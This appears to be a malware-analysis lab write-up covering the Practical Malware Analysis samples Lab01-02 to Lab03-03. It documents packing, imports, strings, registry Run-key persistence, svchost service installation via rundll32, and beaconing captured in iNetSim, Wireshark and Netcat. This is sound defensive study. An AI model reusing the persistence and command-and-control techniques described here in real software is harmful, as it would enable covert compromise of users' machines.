Another way of identifying whether the file has been packed or not, is via the Entry Point Section (*EP Section*) — these are UPX0, UPX1 and UPX2, section names for UPX packed files. UPX0 has a virtual size of 0x4000 but a raw size of 0 (figure 2.2), likely reserved for uninitialized data — the unpacked code.

Name	V. Offset	V. Size	R. Offset	R. Size	Flags
UPX0	00001000	00004000	00000400	00000000	E0000080
UPX1	00005000	00001000	00000400	00000600	E0000040
UPX2	00006000	00001000	00000A00	00000200	C0000040

Figure 2.2 — PEiD PE Section Viewer

We are able to unpack the file directly within [PE Explorer](#), with the **UPX Unpacker Plug-in**. When enabled, this automatically unpacks the file when loaded (Figure 2.3).

```
24.04.2019 08:04:08 : UPX Unpacker Plug-in: <UPX> Rebuilding Image...
24.04.2019 08:04:08 : UPX Unpacker Plug-in: <UPX> Section: .text    4096 bytes
24.04.2019 08:04:08 : UPX Unpacker Plug-in: <UPX> Section: .rdata   4096 bytes
24.04.2019 08:04:08 : UPX Unpacker Plug-in: <UPX> Section: .data    4096 bytes
24.04.2019 08:04:08 : UPX Unpacker Plug-in: <UPX> Decompressed file size: 16384 bytes
24.04.2019 08:04:08 : UPX Unpacker Plug-in: processed
```

Figure 2.3 — UPX Unpacker Plug-in running in PE Explorer

iii- When the file is unpacked, we can investigate **strings** and **imports** to see what the malware gets up to. From the Import Viewer within [PE Explorer](#), we see there are four imports (figure 3.1).

- KERNEL32.DLL — imported to most programs and doesn't tell us much other than suggesting the potential of creating threads/processes.
- ADVAPI32.dll — specifically CreateServiceA is of note.
- MSVCRT.dll — imported to most programs and doesn't tell us much.
- WININET.dll — specifically InternetOpenA and InternetOpenURLA are of note.




Figure 3.1 — Import Viewer within PE Explorer

iv-So far, this is suggesting that the malware is creating a service and connecting to a URL. Checking out the `strings` of the file in the Disassembler, we see '`Malservice`', '`http://www.malwareanalysisbook.com`' and '`Internet Explorer 8.0`' (figure 3.2). These potentially act as host or network based indicators of malicious activity, though the service to run, URL to connect to, and the preferred browser.

Strings	View 1	View 2	View 3	View 4
00403010:	SSZ00403010_Malservice			'Malservice',0
0040301C:	SSZ0040301C_Malservice			'Malservice',0
00403028:	SSZ00403028_HGL345			'HGL345',0
00403030:	SSZ00403030_http__www_malwareanalysisbook_c			'http://www.malwareanalysisbook.con',0
00403054:	SSZ00403054_Internet_Explorer_8_0			'Internet Explorer 8.0',0

Figure 3.2 — Disassembler Strings

C. Analyze the file Lab01-03.exe.

i- Once again, uploading to [VirusTotal.com](#) indicates that **Lab01-03.exe** is malicious due to 58/69 antivirus tools currently recognising signatures.

ii Scanning this with [PEiD](#) demonstrates that **Lab01-03.exe** is packed with [FSG 1.0](#) (figure 2.1 left). This is much more difficult to unpack than [UPX](#) and must be done manually. Currently we are unable to unpack this. Check out **Lab 18-2** (Chapter 18, Packers and Unpacking) to unpack in [OllyDbg](#).

Name	V. Offset	V. Size	R. Offset	R. Size	Flags
00001000	00003000	00000000	00000000	C00000E0	
00004000	00001000	00001000	0000028C	C00000E0	
00005000	00001000	00000E00	00000200	C00000E0	

Figure 2.1 —PEiD showing Lab01-03.exe packed with FSG 1.0 (left) and Section Viewer (right)

Other indicators that the file is packed, are the missing names in the EP Section viewer (Figure 2.1 right), as well as the first section having a virtual size of 0x3000 and a raw size of 0 — again most likely reserved for the unpacked code.

iii- Although **Lab01–03.exe** is currently unpackable, we can still try to identify any imports to get an idea of what the file might do.




Figure 3.1 — Dependency Walker for **Lab01–03.exe**

Loading the file into [PE Explorer](#) unfortunately shows a blank Import Table, and running it in the Disassembler is also unhelpful. Another useful program is [Dependency Walker](#), which lists the imported and exported functions of a portable executable (PE) file (figure 3.1).

Here, we can see that **Lab01–03.exe** is dependant upon (and therefore imports) `KERNEL32.DLL`. The particular functions here are `LoadLibraryA` and `GetProcAddress`, however this does not tell us much about the functionality other than the fact the file is packed.

iv- We are unable to unpack the file the visible imports are uninformative, and we can't see any strings in [PE Explorer](#) (figure 4.1), it is difficult to suggest what the file might do, or identify any host/network based malware-infection indicators.




Figure 4.1 — PE Explorer showing no strings information for packed **Lab01–03.exe**

D- Analyze the file Lab01-04.exe.

i- **Lab01-04.exe** is recognised as malicious, with 53/72 engines detecting malicious signatures (Figure 1.1).

ii- [PEiD](#) shows us that the file is unpacked (and compiled with *Microsoft Visual C++ 6.0*) (figure 2.1). Likewise, the EP section shows the valid file names as well as actual raw sizes for them all, rather than UPX0-3 or blanks, as well as a raw size of 0, typically seen for packed files (figure 2.1). As this is not packed, there is no need to unpack it.




Figure 2.1 — PEiD showing Lab01-04.exe is not packed and Section Viewer

iii- Loading **Lab01-04.exe** into [PE Explorer](#), we initially see that the Date Time Stamp is clearly faked (figure 3.1). At the time of writing it looks as though the file was compiled months in the future, and it's not immediately clear what the real stamp should be.

Time Date Stamp | 5D69A2B3h | 30/08/2019 22:26:59

Figure 3.1 — Date Time Stamp of Lab01-04.exe

iv- Switching to the Import Viewer within [PE Explorer](#), we see that there are three of the common .dll imported (figure 4.1).

IMPORT VIEWER				
RVA	Name	RVA	Hint	Name
0040228Eh	KERNEL32.dll	00402000h	0042h	OpenProcessToken
004022E0h	ADVAPI32.dll	00402004h	00F5h	LookupPrivilegeValueA
004022FAh	MSVCRT.dll	00402008h	0017h	AdjustTokenPrivileges

Library description: Advanced Win32 Base API

Syntax Details

```
function LookupPrivilegeValue(lpSystemName, lpName: PAnsiChar; var lpLui;
  external 'advapi32.dll' name 'LookupPrivilegeValueA' index 281;
```

Figure 4.1 — Import Viewer for Lab01–04.exe

- KERNEL32.dll — Core functionality, such as access and manipulation of memory, files, and hardware.
- ADVAPI32.dll — Access to advanced core Windows components such as the Service Manager and Registry. The functions here look like they're doing something with privileges.
- MSVCRT.dll — imports are functions that are included in most as part of the compiler wrapper code.

Assessing the combination of imports, there are a few key ones which can point us in the direction of the program's functionality.

- `SizeOfResource`, `FindResource`, and `LoadResource` indicate that the file is searching for data in a specific resource.
- `CreateFile`, `WriteFile` and `WinExec` suggests that it might write a file to disk and execute it.
- `LookupPrivilegeValueA` and `AdjustTokenPrivileges` indicates that it might access protected files with special permissions.

v- Looking at the strings is often a good way to identify any host/network based malware-infection indicators. Again, this can be done through the Disassembler in PE Explorer (Figure 5.1)

Strings	View 1	View 2	View 3	View 4
0040302C: \$S20040302C SeDebugPrivilege				'SeDebugPrivilege',0
00403040: \$S200403040 sfc_os.dll				'sfc_os.dll',0
0040304C: \$S20040304C system32\wupdmgr.exe				'system32\wupdmgr.exe',0
00403064: \$S200403064 _\$\$_				'\$\$_',0
00403070: \$S200403070 _101				'#101',0
00403078: \$S200403078 EnumProcessModules				'EnumProcessModules',0
0040308C: \$S20040308C psapi.dll				'psapi.dll',0
00403098: \$S200403098 GetModuleBaseNameA				'GetModuleBaseNameA',0
004030AC: \$S2004030AC psapi.dll				'psapi.dll',0
004030B8: \$S2004030B8 EnumProcesses				'EnumProcesses',0
004030C8: \$S2004030C8 psapi.dll				'psapi.dll',0
004030D4: \$S2004030D4 _system32\wupdmgr.exe				'system32\wupdmgr.exe',0
004030EC: \$S2004030EC _\$\$_				'\$\$_',0
004030F4: \$S2004030F4 _winup.exe				'winup.exe',0
00403100: \$S200403100 _\$\$_				'\$\$_',0

Figure 5.1 — Lab01-04.exe strings within PE Explorer Disassembler

The strings of note here look like '`system32\wupdmgr.exe`', '`psapi.dll`' and '`winup.exe`' — potentially these are the files which the .dll identified, create, or execute.

`'system32\wupdmgr.exe'` might correlate with KERNEL32.dll `GetWindowsDirectory` function to write to system directory and the malware might modify the Windows Update Manager.

This gives us some host-based indicators, however there is nothing apparent regarding network functions.

vi- Previously overlooked in PEID's Section Viewer, there is a resources file .rsrc — The Resource Table. This is also seen in PE Explorer's Section Headers.





Figure 6.1 — Resource Hacker identifying Lab01-04.exe's binary resource

We are able to open this within [Resource Hacker](#), a tool which can be used to manipulate resources within Windows binaries. Loading **Lab01-04.exe** into [Resource Hacker](#) identifies that resource as binary and lets us search through it. (figure 6.1)

e. Analyze the malware found in the file Lab03-01.exe using basic dynamic analysis tools.

i-This dynamic analysis starts with initial static analysis to hopefully gain a baseline understanding of what might be going on. Straight in with [PEiD](#) and [PE Explorer](#) we see that **Lab03-01.exe** is evidently PEncrypt 3.1 packed, and only visible import of `kernel32.dll` and function `ExitProcess`(figure 1.1). Also, there are no apparent strings visible.



Figure

1.1 — File **Lab03-01.exe** is packed, and has minimal imports

It's difficult to understand this malware's functionality with this minimal information. Potentially the file will unpack and expose more information when it is run. One thing we can do is execute [strings](#) to scan the file for UNICODE or ASCII characters not easily located. Doing this we can identify some useful information.

There is a bit of noise here which have been removed, and the main ones are highlighted in red (table 1.1).

String	Functionality
Rich	Not important
text	Not important
data	Not important
ExitProcess	kernel32.dll function ends a process and all its threads
kernel32.dll	Generic imported .dll for core functionality, such as access and manipulation of memory, files, and hardware
ws2_32	Imported .dll Windows Sockets Library provides network functionality
CONNECT �� HTTP/1.0	Looks like HTTP connection request
advapi32	Advapi32.dll is an API services library that supports security and registry calls
ntdll	"NT Layer DLL" and is the file that contains NT kernel functions
user32	User32.dll implements the Windows USER component that creates and manipulates the standard elements of the Windows user interface
advpack	dll file associated with MSN Development Platform developed by Microsoft for the Windows Operating System
StubPath	The executable in StubPath can be anything
S0FTW4RE\Classes\http\shell\open\commandV	Potentially important registry directory
Software\Microsoft\Active Setup\Installed Components\	Potentially important registry directory
test	Not important
www.practicalmalwareanalysis.com	Domain, possibly what the malware will try beacon to
admin	Probably username for admin
VidentDriver	Possibly important
VMVMAX32	Possibly important
vmx32to64.exe	Possibly important
S0FTW4RE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders	Potentially important registry directory
S0FTW4RE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders	Potentially important registry directory

Table 1.1 — Processed output of `strings` function on **Lab03-01.exe**

Looking at these, we can make some rough assumptions that **Lab03-01.exe** is likely to do some network activity and download and hide some sort of file in some of the registry directories, under one of those string names.

ii- To identify host-based indicators, we can make assumptions from the previous strings output, such as potentially attaching itself to `SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VideoDriver` — however, it is more useful to perform **dynamic analysis** and see what it's doing. Take a snapshot of the VM so you're able to revert to a pre-execution state!

Set VM networking to Host-only, and manually assign the preferred DNS server as [iNetsim](#), or configure the DNS reply IP within [ApateDNS](#) to loopback, and set up listeners using [Netcat](#) (ports 80 and 443 are recommended as a starting point as these are common).

Clear all processes within [Procmon](#), and apply suitable filters to clear out any noise and find out what the malware is doing. Initially filter to include Process **Lab3-1.exe** so we can see its activity. Likewise, start [Process Explorer](#) for collecting information about processes running on the system.

Time...	Process Name	PID	Operation	Path
8:59:1...	Lab03-01.exe	2100	Process Start	
8:59:1...	Lab03-01.exe	2100	Thread Create	
8:59:1...	Lab03-01.exe	2100	QueryNameInfo	C:\Documents and Settings\Malware\
8:59:1...	Lab03-01.exe	2100	Load Image	C:\Documents and Settings\Malware\
8:59:1...	Lab03-01.exe	2100	Load Image	C:\WINDOWS\system32\ntdll.dll
8:59:1...	Lab03-01.exe	2100	QueryNameInfo	C:\Documents and Settings\Malware\
8:59:1...	Lab03-01.exe	2100	CreateFile	C:\WINDOWS\Prefetch\LAB03-01.E>
8:59:1...	Lab03-01.exe	2100	RegOpenKey	HKLM\Software\Microsoft\Windows\
8:59:1...	Lab03-01.exe	2100	RegOpenKey	HKLM\System\CurrentControlSet\Cont
8:59:1...	Lab03-01.exe	2100	RegQueryValue	HKLM\System\CurrentControlSet\Cont
8:59:1...	Lab03-01.exe	2100	RegCloseKey	HKLM\System\CurrentControlSet\Cont
8:59:1...	Lab03-01.exe	2100	CreateFile	C:\Documents and Settings\Malware\
8:59:1...	Lab03-01.exe	2100	FileSystemControl	C:\Documents and Settings\Malware\
8:59:1...	Lab03-01.exe	2100	QueryOpen	C:\Documents and Settings\Malware\
8:59:1...	Lab03-01.exe	2100	Load Image	C:\WINDOWS\system32\kernel32.dll
8:59:1...	Lab03-01.exe	2100	RegOpenKey	HKLM\System\CurrentControlSet\Cont
8:59:1...	Lab03-01.exe	2100	RegQueryValue	HKLM\System\CurrentControlSet\Cont
8:59:1...	Lab03-01.exe	2100	RegCloseKey	HKLM\System\CurrentControlSet\Cont
8:59:1...	Lab03-01.exe	2100	RegOpenKey	HKLM\Software\Microsoft\Windows\
8:59:1...	Lab03-01.exe	2100	RegOpenKey	HKLM\System\CurrentControlSet\Cont
8:59:1...	Lab03-01.exe	2100	RegQueryValue	HKLM\System\CurrentControlSet\Cont

Figure 2.1 — [Procmon](#) of Lab03-01.exe

The first thing we notice when executing **Lab03-01.exe** is the series of Registry Key operations (Figure 2.1). This doesn't tell us too much about what the malware is doing specifically however,

It's always useful to see an overview of the activities. We can filter this further to only show WriteFile and RegSetValue to see the key operations (figure 2.2)

Process Monitor - Sysinternals: www.sysinternals.com						
Time	Process Name	PID	Operation	Path	Detail	
0:59:1...	Lab03-01.exe	2100	WriteFile	C:\WINDOWS\system32\vmx32to64.exe	Offset:	0, Length: 7,168
0:59:1...	Lab03-01.exe	2100	RegSetValue	HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VideoDriver	Type:	REG_SZ, Length: 510, Data: C:\WINDOWS\system32\vmx32to64.exe

Figure 2.2 — Procmon of Lab03-01.exe, filtered for WriteFile and RegSetValue

We can investigate these operations further, and we see that they are related. First, a file is written to C:\WINDOWS\system32\vmx32to64.exe (*note, this filename is a string we've identified as part of the initial static analysis*) however, this appears to be set to the registry of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VideoDriver (*another identified string!*). This is a strong host-based indicator that the malware is up to something (Figure 2.3). Most likely the malware is intended to be run at startup.

The image displays two separate "Event Properties" dialog boxes, each with tabs for "Event", "Process", and "Stack".

Event Properties (Top Window):

Date:	5/25/2019 8:59:13,4559056 PM
Thread:	772
Class:	File System
Operation:	WriteFile
Result:	SUCCESS
Path:	C:\WINDOWS\system32\vmx32to64.exe
Duration:	0.0000869
Offset:	0
Length:	7,168

Event Properties (Bottom Window):

Date:	5/25/2019 8:59:13,4568088 PM
Thread:	772
Class:	Registry
Operation:	RegSetValue
Result:	SUCCESS
Path:	HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VideoDriver
Duration:	0.0009046
Type:	REG_SZ
Length:	510
Data:	C:\WINDOWS\system32\vmx32to64.exe

Figure 2.3 — Lab03-01.exe hiding under vmx32to64.exe and set to VideoDriver registry.

Upon further investigation, it appears as though files `vmx32to64.exe` and `Lab03-01.exe` share the same hash (figure 2.4), indicating the malware has established persistence through creating and hiding a copy of itself, as well as to execute at startup via the `VideoDriver` registry.

```
C:\Documents and Settings\Malware Analysis>certutil -hashfile C:\WINDOWS\system32\vmx32to64.exe
402.203.0: 0x80070057 (WIN32: 87): ..CertCli Version
SHA-1 hash of file C:\WINDOWS\system32\vmx32to64.exe:
0b b4 91 f6 2b 77 df 73 78 01 b9 ab 0f d1 4f a1 2d 43 d2 54
CertUtil: -hashfile command completed successfully.

C:\Documents and Settings\Malware Analysis>certutil -hashfile "C:\Documents and Settings\Malware Analysis\My Documents\Downloads\Practical Malware Analysis Labs\BinaryCollection\Chapter_3L\Lab03-01.exe"
402.203.0: 0x80070057 (WIN32: 87): ..CertCli Version
SHA-1 hash of file C:\Documents and Settings\Malware Analysis\My Documents\Downloads\Practical Malware Analysis Labs\BinaryCollection\Chapter_3L\Lab03-01.exe:
0b b4 91 f6 2b 77 df 73 78 01 b9 ab 0f d1 4f a1 2d 43 d2 54
CertUtil: -hashfile command completed successfully.
```

Figure 2.4 — `Lab03-01.exe` sharing the same SHA1 Hash as `vmx32to64.exe`.

Further host-based indicators can be identified through analysis of [Process Explorer](#), to show which handles and DLLs the malware has opened or loaded.




Figure 2.4 — [Process Explorer](#) showing Mutex WinVMX32

[Process Explorer](#) shows us that `Lab03-01.exe` has created a mutex of `WinVMX32` (*again, another identified string*) (Figure 2.4). A mutex (mutual exclusion objects) is used to ensure that only one instance of the malware can run at a time — often assigned a fixed name. We also see `Lab03-01.exe` utilises `ws2_32.dll` and `wshtcpip.dll` for network capabilities.

iii-We're able to analyse network activity either locally on the victim, or utilising [iNetSim](#). I have demonstrated both, having configured DNS to either the [iNetSim](#) machine or loopback (for the [netcat](#) listeners). Turning our attention to [ApateDNS](#) and our [iNetSim](#) logs, we see some pretty significant network-based indicators of this malware activity. [ApateDNS](#) show regular DNS requests to www.practicalmalwareanalysis.com every 30 seconds (figure 3.1).




Figure 3.1 — [ApateDNS](#) showing DNS beaconing

The [ApateDNS](#) capture suggests the malware is beaconing — possibly to either to fetch updates/instructions or to send back stolen information.

```
cat /var/log/inetnsim/report/report.1876; no such file or directory
inetnsim@inetnsim:~$ cat /var/log/inetnsim/report/report.1876.txt
*** Report for session '1876' **

Real start date      : 2019-05-27 20:52:17
Simulated start date : 2019-05-27 20:52:17
Time difference on startup : none

2019-05-27 20:52:50 First simulated date in log file
2019-05-27 20:52:50 DNS connection, type: A, class: IN, requested name: www.practicalmalwareanalysis.com
```

Figure 3.2 — [iNetSim](#) logs

Also, the associated [iNetSim](#) logs show a recognised DNS request for the malicious website, providing further indication of beaconing intent.

Finally, the [Netcat](#) listener (with DNS configured for loopback) has picked up a transmission on port 443. This shows a series of illegible characters emitted from the malware (Figure 3.3). On subsequent executions or periodic ticks, the transmission is unique.

```
C:\Documents and Settings\Malware Analysis>nc -l -p 443
[REDACTED]
3t  f  ▶  t g@hspdy/3.http/1.1uP  6  00
```

Figure 3.3 — Illegible characters transmitted by Lab03-01.exe.

The combination of host and network-based indicators provide significant grounding to make assumptions regarding the malware's activity.

- From **Static Analysis**, not a lot was uncovered other than the output of what might use as hard-coded parameters.
- **Dynamic Analysis** to uncover further host-based indicators show that the malware has replicated and masked under another file name has associated with the registry for execution on startup and has network functionality.
- Network-based activity is identified through capturing periodic DNS requests, as well as intercepting random character transmissions of HTTP & SSL

f. Analyze the malware found in the file Lab03-02.dll using basic dynamic analysis tools.

i- At first glance, we have **Lab03-02.dll**. As this is not a .exe file, we are unable to directly execute it. **rundll32.exe** is a windows utility which loads and runs 32-bit dynamic-link libraries (.dll).

First, however, we likely require any exported functions to pass in as an argument. This can be identified through PE analysis, which shows us a set of exported and imported functions. The imported functions (Figure 1.1) give us an idea of the .dll's capabilities. Speculation into these might suggest there will likely be some networking going on, as well as some file, directory and registry manipulation. Functions included as part of **ADVAPI32.dll** suggests the malware may need to be run as a service, which is backed up by **Lab03-02.dll**'s exports (Figure 1.1)

IMPORT VIEWER			
RVA	Name	RVA	Name
100055C2h	KERNEL32.dll	10005000h	0047h
10005680h	ADVAPI32.dll	10005004h	0078h
100056CCh	WS2_32.dll	10005008h	0072h
10005760h	WININET.dll	1000500Ch	007Bh
10005886h	MSVCRT.dll	10005010h	005Bh
		10005014h	0045h
		10005018h	004Ch
		1000501Ch	0034h
		10005020h	005Eh
		10005024h	0086h
		10005028h	008Eh
		1000502Ch	00AEh
			OpenServiceA
			DeleteService
			RegOpenKeyExA
			RegQueryValueExA
			RegCloseKey
			OpenSCManagerA
			CreateServiceA
			CloseServiceHandle
			RegCreateKeyA
			RegSetValueExA
			RegisterServiceCtrlHandlerA
			SetServiceStatus

EXPORT VIEWER			
Entry Point	Ord	Name	
10004706h	1	Install	
10003196h	2	ServiceMain	
10004B18h	3	UninstallService	
10004B0Bh	4	installA	
10004C2Bh	5	uninstallA	

Figure 1.1 — Lab03–02.dll's Imports and Exports showing likely service capabilities

Running `strings` also gives us a lot of useful insight into potential actions. Most of which are found as imported functions, however, there are others worth noting that may be useful host/network-based indicators. These include some very distinctive strings, potential registry locations and file or network names, as well as some base64 encoded strings hinting at some functionality (Figure 1.2).

Strings	Base64 Encoded Strings	Base64 DECODED strings
practicalmalwareanalysis.com	Y29ubmVjSAA=	connect
serve.html	dW5zdkRvb3I0	unsupport
Windows XP 6.11	c2xZKAA=	sleep
cmd.exe /c	Y218	cmd
GetModuleFileName() get dll path	cXVpdA==	quit
Intranet Network Awareness (INA)		
%SystemRoot%\System32\svchost.exe -k		
RegOpenKeyEx(%s) KEY_QUERY_VALUE SUCCESS.		
%SystemRoot%\System32\svchost.exe -k		
RegOpenKeyEx(%s) KEY_QUERY_VALUE ERROR.		
SYSTEM\CurrentControlSet\Services\		
CreateService(%s) error %d		
IPPIP		
Depends INA+, Collects and stores network configuration and location information, and notifies applications when this information changes.		

Figure 1.2 — Lab03–02.dll's strings showing potential functionality.

Now we have a starting point to look out for, we can prepare our environment for trying to run the malware — clearing `procmon`, taking a `registry snapshot`, and setting up the network.

ii- To install the malware, pass one of `Install` or `installA` (found from the exports) into `rundll32`.

Executing `C:\rundll32.exe Lab03-02.dll`, `install` doesn't give any immediate feedback on the command line, within `process explorer`, or `Wireshark/iNetSim`, however taking a 2nd `registry snapshot` and comparing the two, it's clear that keys and values have been added — many of these matching up with what we found from `strings` (Figure 2.1)

```

keys added: 8
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_PROCEXP152\0000\control
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\IPRIP
HKEY_LOCAL_MACHINE\ControlSet001\services\IPRIP\Parameters
HKEY_LOCAL_MACHINE\ControlSet001\services\IPRIP\Security
HKEY_LOCAL_MACHINE\CurrentControlSet\Enum\Root\LEGACY_PROCEXP152\0000\control
HKEY_LOCAL_MACHINE\CurrentControlSet\services\IPRIP
HKEY_LOCAL_MACHINE\CurrentControlSet\services\IPRIP\Parameters
HKEY_LOCAL_MACHINE\CurrentControlSet\services\IPRIP\Security

values added: 23
HKEY_LOCAL_MACHINE\ControlSet001\Enum\Root\LEGACY_PROCEXP152\0000\control\Activesservice: "PROCEXP152"
HKEY_LOCAL_MACHINE\ControlSet001\services\IPRIP\Type: 0x00000008
HKEY_LOCAL_MACHINE\ControlSet001\services\IPRIP\Start: 0x00000002
HKEY_LOCAL_MACHINE\ControlSet001\services\IPRIP\ErrorControl: 0x00000001
HKEY_LOCAL_MACHINE\ControlSet001\services\IPRIP\ImagePath: "%SystemRoot%\System32\svchost.exe -k netsvcs"
HKEY_LOCAL_MACHINE\ControlSet001\services\IPRIP\ DisplayName: "Intranet Network Awareness (INA+)"
HKEY_LOCAL_MACHINE\ControlSet001\services\IPRIP\ObjectName: "LocalSystem"
HKEY_LOCAL_MACHINE\ControlSet001\services\IPRIP\Description: "Depends INAP, collects and stores network configuration and location information, and notifies"
HKEY_LOCAL_MACHINE\ControlSet001\services\IPRIP\DependService: 52 00 70 00 63 00 53 00 73 00 00 00 00 00
HKEY_LOCAL_MACHINE\ControlSet001\services\IPRIP\Parameters\Serviceobj: "C:\Documents and Settings\Administrator\Desktop\PMA_Labs\Practical Malware Analysis\Lab03-02.dll"
HKEY_LOCAL_MACHINE\ControlSet001\services\IPRIP\Security\Priority: 01 00 18 00 00 00 00 90 00 00 00 14 00 00 00 30 00 00 00 92 02 00 1C 00 01 00 00 00 92 01
HKEY_LOCAL_MACHINE\CurrentControlSet\Enum\Root\LEGACY_PROCEXP152\0000\control\Activesservice: "PROCEXP152"
HKEY_LOCAL_MACHINE\CurrentControlSet\services\IPRIP\Type: 0x00000008
HKEY_LOCAL_MACHINE\CurrentControlSet\services\IPRIP\Start: 0x00000002
HKEY_LOCAL_MACHINE\CurrentControlSet\services\IPRIP\ErrorControl: 0x00000001
HKEY_LOCAL_MACHINE\CurrentControlSet\services\IPRIP\ImagePath: "%SystemRoot%\System32\svchost.exe -k netsvcs"
HKEY_LOCAL_MACHINE\CurrentControlSet\services\IPRIP\ DisplayName: "Intranet Network Awareness (INA+)"
HKEY_LOCAL_MACHINE\CurrentControlSet\services\IPRIP\ObjectName: "LocalSystem"
HKEY_LOCAL_MACHINE\CurrentControlSet\services\IPRIP\Description: "Depends INAP, collects and stores network configuration and location information, and notifies"
HKEY_LOCAL_MACHINE\CurrentControlSet\services\IPRIP\DependService: 52 00 70 00 63 00 53 00 77 00 00 00 00 00
HKEY_LOCAL_MACHINE\CurrentControlSet\services\IPRIP\Parameters\Serviceobj: "C:\Documents and Settings\Administrator\Desktop\PMA_Labs\Practical Malware Analysis\Lab03-02.dll"
HKEY_LOCAL_MACHINE\CurrentControlSet\services\IPRIP\Security\Priority: 03 00 14 00 90 00 00 00 00 14 00 00 00 30 00 00 00 02 00 1C 00 01 00 00 00

```

Figure 2.1 — Registry keys and values added as a result of installing Lab03-02.dll

We can see within the [regshot](#) comparison that something called IPRIP has been added as a service, with some of the more identifiable strings as \DisplayName or \Description. The image path has also been set to %SystemRoot%\System32\svchost.exe -k netsvcs which shows the malware is likely to be launched within svchost.exe with network services as an argument.

iii- Since we have installed lab03-02.dll as a service, we can now run this and we see the same \DisplayName + update found from the added reg values (Figure 3.1).

```
C:\Documents and Settings\Administrator\Desktop\PMA_Labs\Practical Malware Analysis\Lab03-02.dll>net start IPRIP
The Intranet Network Awareness (INA+) service is starting.
The Intranet Network Awareness (INA+) service was started successfully.
```

Figure 3.1 — Starting the IPRIP service

Checking out [ProcessExplorer](#) to see what's happened, we can search for the Lab03-02.dll which will point us to the svchost.exe instance that was created.




Figure 3.2 — Process Explorer showing svchost.exe launched with Lab03-02.dll

We can identify various indicators which attribute **Lab03-02.dll** to this instance of svchost.exe thorough the inclusion of the .dll, the service display name “*Intranet Network Awareness (INA+)*”, and the command line argument matching what has been found in strings. This helps us to confirm that **Lab03-02.dll** has been loaded — note the *process ID*, **1148**. We’ll need this to see what’s going on in [ProcMon](#)!

iv- Checking out [ProcMon](#), filtered on *PID 1148*, we see a whole load of registry `RegOpenKey` and `ReadFile`, however, seems mostly svchost.exe related and nothing jumps out as malicious.

v- Turing our attention to look for network-based indicators, we have traffic captured within [Wireshark](#), as well as logged within [iNetSim](#). To give us an idea of what to look for, we can check out the [iNetSim](#) logs first (Figure 5.1), which show us that we have seen 2 notable types of activity; DNS and HTTP connections. The DNS appears to be periodic requests to [practicalmalwareanalysis.com](#) (which we previously saw similar with **Lab03-01.exe**), as well as a HTTP GET request to <http://practicalmalwareanalysis.com/serve.html> which attempts to download a file. Fortunately, as we had [iNetSim](#) set up to respond, it provides a dummy file to complete the request — `/var/lib/inetsim/http/fakefiles/sample.html`. If we didn’t have this, we might have downloaded something real nasty.



```

2020-07-06 13:52:43 DNS connection, type: A, class: IN, requested name: practicalmalwareanalysis.co
m
2020-07-06 13:52:43 HTTP connection, method: GET, URL: http://192.168.89.128/upad.dat, file name: n
one
2020-07-06 13:52:43 HTTP connection, method: GET, URL: http://practicalmalwareanalysis.com/serve.ht
ml, file name: /var/lib/inetSim/http/fakefiles/sample.html

```

Figure 5.1 — iNetSim logs of Lab03–02.dll's DNS and HTTP request

We're able to look at these within [Wireshark](#) and inspect the packets in more detail. Filtering on DNS, we're able to see the DNS request to `practicalmalwareanalysis.com` (Figure 5.2). Finding the conversation between the host and [iNetSim](#) and following the TCP stream, we're able to see the content within the HTTP GET request to <http://practicalmalwareanalysis.com/serve.html> (Figure 5.2). This also shows [iNetSim](#)'s dummy content replacing `serve.html`.



```

Stream Content:
GET /serve.html HTTP/1.1
Accept: /*
User-Agent: cxe-942ab615ea5 Windows XP 6.11
Host: practicalmalwareanalysis.com

HTTP/1.1 200 OK
Connection: Close
Date: Mon, 06 Jul 2020 13:52:43 GMT
Content-Length: 258
Server: INetSim HTTP Server
Content-Type: text/html

<html>
  <head>
    <title>INetSim default HTML page</title>
  </head>
  <body>
    <p></p>
    <p align="center">This is the default HTML page for INetSim HTTP server fake mode.</p>
    <p>      <p align="center">This file is an HTML document.</p>
  </body>
</html>

```

Figure 5.2 — [Wireshark](#) traffic for Lab03–02.dll DNS (left) and HTTP (right)

```

C:\Documents and Settings\Administrator>nc -l -p 80
GET /serve.html HTTP/1.1
Accept: /*
User-Agent: cxe-942ab615ea5 Windows XP 6.11
Host: practicalmalwareanalysis.com

```

Figure 5.3 — [Netcat](#) receiving HTTP GET header

Reverting to snapshot and reinstalling & launching the malicious .dll/service, we can also capture traffic by using [ApateDNS](#) to redirect to loopback were we have a [Netcat](#) listener on port 80 (Figure 5.3). Here, we see the same HTTP GET header as we did within [Wireshark](#).

Referring back to the `strings` output, “*practicalmalwareanalysis.com*”, “*serve.html*”, and “*Windows XP 6.11*” are also evident within the network analysis and can be used as signatures for the malware.

To recap on the main host/network-based indicators we see:

- IPRIP installed as a service, including strings such as “*Intranet Network Awareness (INA+)*”
- Network activity to “*practicalmalwareanalysis.com/serve.html*” as well as the User-Agent %ComputerName% Windows XP 6.11.

g. Execute the malware found in the file Lab03-03.exe while monitoring it using basic dynamic analysis tools in a safe environment

i- After prepping for dynamic analysis, launch **Lab03–03.exe** and you may notice it appear briefly within [Process Explorer](#) with a child process of *svchost.exe*. After a moment however, it disappears leaving *svchost.exe* orphaned (Figure 1.1).

Process	CPU	Private Bytes	Working Set	PID	Description	Company Name
System Idle Process	99.80	0 K	28 K	0		
System	0.01	0 K	244 K	4	n/a Hardware Interrupts and DPCs	
Interrupts		0 K	0 K			
smss.exe		168 K	388 K	580	Windows NT Session Mana...	Microsoft Corporation
car32.exe		1,828 K	4,932 K	632	Client Server Runtime Process	Microsoft Corporation
+ winlogon.exe		7,480 K	4,892 K	712	Windows NT Logon Applicat...	Microsoft Corporation
explorer.exe	19.432 K	13,252 K	1748	Windows Explorer	Microsoft Corporation	
vmtoolsd.exe		14,736 K	19,020 K	1948	VMware Tools Core Service	VMware, Inc.
notepad.exe		888 K	384 K	2620	Notepad	Microsoft Corporation
cmd.exe		1,948 K	2,556 K	2248	Windows Command Processor	Microsoft Corporation
Procmon.exe		67,600 K	8,192 K	460	Process Monitor	Sysinternals - www.sysinter...
Regshot-x86-Unicode.exe		48,720 K	51,432 K	3496	Regshot 1.9.0 x86 Unicode	Regshot Team
